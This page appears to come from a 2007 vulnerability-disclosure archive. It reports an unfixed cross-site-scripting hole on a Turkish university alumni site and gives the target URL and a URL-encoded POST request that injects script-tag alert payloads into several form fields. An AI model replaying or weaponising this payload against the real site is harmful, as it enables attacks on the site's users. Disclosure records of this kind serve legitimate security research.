Advertisements:
Security researcher THE-SH0CK-B0Y, has submitted on 22/05/2007 a cross-site-scripting (XSS) vulnerability affecting mezun.anadolu.edu.tr, which at the time of submission ranked 9985 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 22/05/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Date submitted: 22/05/2007 Date published: 22/05/2007 Fixed? Mail us!Status:  UNFIXED
Author: THE-SH0CK-B0Y Domain: mezun.anadolu.edu.tr Category: XSS Pagerank: 9985
URL: http://mezun.anadolu.edu.tr/str/tavsiyeet.php
POST: XOOPS_TOKEN_REQUEST=465421387987&user_email=%27%3E%3Cscript%3Ealert%28%2F%5C%27THE-SH0CK-B0Y%5C%27%2 F%29%3C%2FScript%3E&taveden_ad=%27%3E%3Cscript%3Ealert%28%2F%5C%27THE-SH0CK-B&taveden_soyad=%27%3E%3 Cscript%3Ealert%28%2F%5C%27THE-SH0CK-B&tav_edilen=Arkada%FE%FDn%FDz&send_email=%27%3E%3Cscript%3Eale rt%28%2F%5C%27THE-SH0CK-B0Y%5C%27%2F%29%3C%2FScript%3E&send_ad=%27%3E%3Cscript%3Ealert%28%2F%5C%27TH E-SH0CK-B&send_soyad=%27%3E%3Cscript%3Ealert%28%2F%5C%27THE-SH0CK-B&x=26&y=8&_FR_USR_TAV=9bb00e0ef72 7e2ab60ade75f86053a31
Click here to view the mirror
Buy XSS Attacks book from Amazon!
XSS Attacks
Cross Site Scripting Exploits and Defense
Buy Detecting Malice book from RSnake
Website Fraud Loss Prevention
Advertisements
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.